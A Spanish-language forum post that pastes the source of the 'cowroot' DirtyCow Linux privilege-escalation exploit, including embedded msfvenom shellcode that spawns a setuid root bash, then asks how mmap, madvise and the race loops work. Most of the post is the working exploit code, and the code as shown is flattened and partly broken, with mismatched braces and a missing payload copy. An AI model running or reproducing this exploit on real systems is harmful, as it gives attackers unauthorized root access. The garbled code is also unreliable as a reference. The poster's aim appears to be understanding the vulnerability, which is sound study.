Código
/* * (un)comment correct payload first (x86 or x64)! * * $ gcc cowroot.c -o cowroot -pthread * $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd is overwritten * Popping root shell. * Don't forget to restore /tmp/bak * thread stopped * thread stopped * root@box:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo) */ #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <string.h> #include <unistd.h> void *map; int f; int stop = 0; struct stat st; char *name; pthread_t pth1,pth2,pth3; // change if no permissions to read //char suid_binary[] = "/usr/bin/passwd"; char suid_binary[] = "mydirty"; /* * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i */ unsigned char sc[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05 }; unsigned int sc_len = 177; void *madviseThread(void *arg) { int i,c=0; for(i=0;i<1000000 && !stop;i++) { c+=madvise(map,100,MADV_DONTNEED); } return NULL; } void *procselfmemThread(void *arg) { char *str; str=(char*)arg; int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<1000000 && !stop;i++) { lseek(f,(off_t)map,SEEK_SET); c+=write(f, str, sc_len); } return NULL; } void *waitForWrite(void *arg) { char buf[sc_len]; for(;;) { break; } sleep(1); } stop = 1; return NULL; } int main(int argc,char *argv[]) { char backup[1024]; f = open(suid_binary,O_RDONLY); fstat(f,&st); char payload[st.st_size]; map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); pthread_create(&pth1, NULL, &madviseThread, suid_binary); pthread_create(&pth2, NULL, &procselfmemThread, payload); pthread_create(&pth3, NULL, &waitForWrite, NULL); pthread_join(pth3, NULL); return 0; }
Por lo que tengo entendido en el codigo, primeramente, se llama a la funcion mmap, la cual copia el contenido del fichero en memoria. Después se llama a la funcion madvise en el thread madviseThread, que no sé lo que hace exactamente xd, y finalmente llama al thread procselfmemThread, que escribe en el contenido del fichero cargado en memoria el payload que hay declarado en 'sc'. Y bueno, la funcion waitForWrite que busca si se ha escrito en el fichero.
Lo que me gustaría saber es, primero, ¿que hace la funcion mmap exactamente?, segundo, ¿que hace la funcion madvise?, tercero, ¿para qué lo meten en un bucle tan grande?, cuarto, si se carga en memoria el fichero, ¿cómo se escribe el fichero cargado en memoria al fichero real almacenado en el disco?, y por último, si en la funcion del thread procselfmemThread en el write escribo "write (f, str, sc_len) == sc_len" ¿no debería de acabar ya que se supone que ha escrito los bytes de sc_len en el fichero objetivo?
Gracias de antemano.